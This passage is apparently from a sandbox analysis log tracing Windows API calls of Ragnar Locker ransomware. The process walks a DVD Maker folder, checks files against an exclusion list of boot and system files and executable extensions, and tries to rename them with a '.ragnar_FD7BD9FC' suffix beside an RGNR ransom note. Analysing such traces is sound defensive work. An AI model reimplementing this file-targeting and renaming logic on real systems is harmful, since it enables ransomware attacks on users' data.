ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="btn-back-static.png", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="btn-back-static.png", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="btn-next-static.png", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="btn-next-static.png", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="btn-previous-static.png", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="button-highlight.png", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="button-highlight.png", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="chapters-static.png", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="chapters-static.png", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="content-background.png", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="content-background.png", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="content-foreground.png", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="content-foreground.png", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="curtains.png", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="curtains.png", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2=".") returned 1 [0078.742] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="..") returned 1 [0078.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0078.743] lstrcmpiW (lpString1="highlight.png", lpString2=".") returned 1 [0078.743] lstrcmpiW (lpString1="highlight.png", lpString2="..") returned 1 [0078.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0078.743] lstrcmpiW (lpString1="mainimage-mask.png", lpString2=".") returned 1 [0078.743] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="..") returned 1 [0078.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0078.743] lstrcmpiW (lpString1="notes-static.png", lpString2=".") returned 1 [0078.743] lstrcmpiW (lpString1="notes-static.png", lpString2="..") returned 1 [0078.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0078.743] lstrcmpiW (lpString1="play-static.png", lpString2=".") returned 1 [0078.743] lstrcmpiW (lpString1="play-static.png", lpString2="..") returned 1 [0078.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812bd9e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.743] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.743] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812bd9e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.743] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x812bd9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x812bd9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0078.743] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.743] lstrcpyW (in: lpString1=0x1eab5a, lpString2="16_9-frame-background.png" | out: lpString1="16_9-frame-background.png") returned="16_9-frame-background.png" [0078.743] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png") returned=".png" [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="autorun.inf") returned -1 [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootfont.bin") returned -1 [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootsect.bak") returned -1 [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgr") returned -1 [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgr.efi") returned -1 [0078.743] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgfw.efi") returned -1 [0078.744] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="desktop.ini") returned -1 [0078.744] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="iconcache.db") returned -1 [0078.744] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntldr") returned -1 [0078.744] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.dat") returned -1 [0078.744] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.dat.log") returned -1 [0078.744] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.ini") returned -1 [0078.744] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="thumbs.db") returned -1 [0078.744] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.744] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.744] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.744] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.744] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.744] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.744] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0078.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.744] CloseHandle (hObject=0xffffffff) returned 0 [0078.744] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" [0078.744] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.ragnar_FD7BD9FC" [0078.744] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.744] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0078.744] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.744] lstrcpyW (in: lpString1=0x1eab5a, lpString2="16_9-frame-highlight.png" | out: lpString1="16_9-frame-highlight.png") returned="16_9-frame-highlight.png" [0078.745] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png") returned=".png" [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="autorun.inf") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootfont.bin") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootsect.bak") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgr") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgr.efi") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgfw.efi") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="desktop.ini") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="iconcache.db") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntldr") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.dat") returned -1 